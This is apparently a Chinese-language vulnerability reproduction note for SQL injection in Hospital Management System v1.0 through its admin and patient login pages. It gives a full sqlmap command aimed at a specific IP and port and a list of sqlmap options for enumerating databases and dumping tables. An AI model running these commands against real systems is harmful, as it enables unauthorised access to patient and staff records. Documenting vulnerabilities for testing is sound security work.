一、漏洞概述
医院管理系统 (HMS) 是一种基于计算机或网络的系统,有助于管理医院或任何医疗机构的运作。该系统或软件将有助于使整个功能无纸化。它将有关患者、医生、员工、医院管理细节等的所有信息集成到一个软件中。它有组成医院的各种专业人员的部分。HMS v1.0 被发现包含通过 adminlogin.php、Patientlogin.php 的 SQL 注入漏洞。
二、影响范围
HMS v1.0
三、访问页面
四、漏洞复现
1、登录,输入任意账号密码。
2、burp抓包
3、使用sqlmap跑注入点
python sqlmap.py -u "http://123.58.224.8:55763/adminlogin.php" --data="loginid=admin&password=123456789&rememberme=on&submit=Login" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" --referer="http://123.58.224.8:55763/adminlogin.php" --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --technique=BEUSTQ -b --batch --answers="crack=N,dict=N,continue=Y,quit=N"
4、跑出loginid有注入,可以使用sqlmap常用命令。
sqlmap常用命令:
1、--dbs 获取数据库
2、--tables 获取数据库中所有的表
3、--columns 参数用来获取字段
4、--dump 获取值
-D '数据库名' -T '表名' -C '字段名1,字段名2' --dump